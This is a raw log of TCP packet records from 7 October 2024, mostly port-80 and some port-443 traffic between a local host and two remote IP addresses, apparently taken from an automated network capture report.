Oct 7, 2024 21:18:37.459772110 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.459783077 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.459798098 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.459805965 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.459816933 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.459826946 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.459827900 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.459840059 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.459856033 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.459872961 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.460017920 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.460062981 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.460110903 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.460120916 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.460131884 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.460141897 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.460159063 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.460167885 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.460175991 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.460180044 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.460192919 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.460201025 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.460201979 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.460205078 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.460236073 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.460259914 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.475665092 CEST	443	49846	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:37.475856066 CEST	443	49846	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:37.475974083 CEST	49846	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:37.476186037 CEST	49846	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:37.476186037 CEST	49846	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:37.476202011 CEST	443	49846	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:37.476214886 CEST	443	49846	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:37.479223967 CEST	49847	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:37.479295969 CEST	443	49847	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:37.479443073 CEST	49847	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:37.479594946 CEST	49847	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:37.479634047 CEST	443	49847	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:37.486589909 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.486650944 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.486660004 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.486660957 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.486704111 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.486726046 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.486737013 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.486867905 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.486877918 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.486886978 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.486896992 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.486907005 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.486916065 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.486918926 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.486933947 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.486948013 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.487112999 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.487123966 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.487171888 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.487257004 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.487267017 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.487277031 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.487287998 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.487313032 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.487344980 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.487405062 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.487422943 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.487467051 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.487601042 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.487610102 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.487618923 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.487627029 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.487636089 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.487641096 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.487649918 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.487653971 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.487662077 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.487665892 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.487672091 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.487683058 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.487704039 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.487715006 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.487869978 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.488079071 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.488089085 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.488099098 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.488114119 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.488123894 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.488130093 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.488132954 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.488136053 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.488138914 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.488145113 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.488147974 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.488147974 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.488156080 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.488157988 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.488166094 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.488176107 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.488179922 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.488194942 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.488209009 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.488497972 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.488545895 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.488612890 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.488624096 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.488636017 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.488645077 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.488656044 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.488666058 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.488675117 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.488677025 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.488686085 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.488701105 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.488715887 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.488745928 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.488914013 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.488924980 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.488931894 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.488941908 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.488950968 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.488970995 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.489000082 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.495994091 CEST	443	49843	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:37.496717930 CEST	49843	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:37.496731997 CEST	443	49843	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:37.497298002 CEST	49843	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:37.497303009 CEST	443	49843	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:37.499531984 CEST	443	49844	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:37.500226974 CEST	49844	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:37.500250101 CEST	443	49844	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:37.500684023 CEST	49844	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:37.500699997 CEST	443	49844	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:37.518309116 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.518332005 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.518341064 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.518398046 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.518409967 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.518420935 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.518424034 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.518433094 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.518472910 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.518893003 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.518903971 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.518942118 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.518954992 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.540565968 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.540579081 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.540589094 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.540638924 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.540657043 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.540668964 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.540678024 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.540688038 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.540716887 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.540731907 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.540791035 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.540834904 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.540843964 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.540853977 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.540863037 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.540879011 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.540904045 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.540997028 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.541007996 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.541017056 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.541024923 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.541047096 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.541059017 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.541723967 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.541770935 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.541773081 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.541785002 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.541826963 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.541836977 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.541866064 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.541897058 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.541985035 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.541996002 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.542005062 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.542013884 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.542026997 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.542030096 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.542054892 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.542078018 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.542150021 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.542196989 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.542207956 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.542234898 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.542236090 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.542247057 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.542278051 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.542289972 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.542375088 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.542385101 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.542390108 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.542393923 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.542402983 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.542407990 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.542412996 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.542423964 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.542455912 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.542475939 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.542658091 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.542666912 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.542681932 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.542691946 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.542701006 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.542706966 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.542710066 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.542721987 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.542746067 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.542927027 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.542937040 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.542947054 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.542957067 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.542963982 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.542968035 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.542978048 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.542989016 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.542989969 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.542998075 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.543015957 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.543026924 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.543051004 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.553464890 CEST	443	49842	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:37.553781986 CEST	443	49845	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:37.553936005 CEST	443	49845	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:37.554042101 CEST	49845	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:37.554042101 CEST	49845	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:37.554167986 CEST	49845	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:37.554178953 CEST	443	49845	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:37.554179907 CEST	443	49842	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:37.554245949 CEST	49842	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:37.554339886 CEST	49842	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:37.554357052 CEST	443	49842	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:37.554372072 CEST	49842	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:37.554378986 CEST	443	49842	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:37.556746006 CEST	49848	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:37.556782007 CEST	443	49848	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:37.556839943 CEST	49849	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:37.556879997 CEST	49848	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:37.556880951 CEST	443	49849	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:37.556988955 CEST	49849	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:37.557094097 CEST	49848	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:37.557107925 CEST	443	49848	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:37.557168007 CEST	49849	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:37.557183027 CEST	443	49849	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:37.571034908 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.571110010 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.571115971 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.571121931 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.571140051 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.571149111 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.571171999 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.571306944 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.571319103 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.571329117 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.571338892 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.571350098 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.571360111 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.571362972 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.571376085 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.571393967 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.571597099 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.571608067 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.571618080 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.571629047 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.571666956 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.571666956 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.571682930 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.571692944 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.571702957 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.571712017 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.571722031 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.571727991 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.571737051 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.571743011 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.571769953 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.572252035 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.572263002 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.572272062 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.572282076 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.572293043 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.572302103 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.572312117 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.572316885 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.572323084 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.572334051 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.572338104 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.572345018 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.572348118 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.572356939 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.572365999 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.572386980 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.572395086 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.572909117 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.572918892 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.572923899 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.572932959 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.572938919 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.572943926 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.572954893 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.572964907 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.572966099 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.572977066 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.572987080 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.572995901 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.573005915 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.573007107 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.573015928 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.573025942 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.573025942 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.573038101 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.573043108 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.573049068 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.573060036 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.573065996 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.573085070 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.573091984 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.573749065 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.573765993 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.573770046 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.573782921 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.573796988 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.573811054 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.573813915 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.573843956 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.600739002 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.600795031 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.600805044 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.600807905 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.600837946 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.600840092 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.600863934 CEST	49810	80	192.168.2.5	95.164.90.97
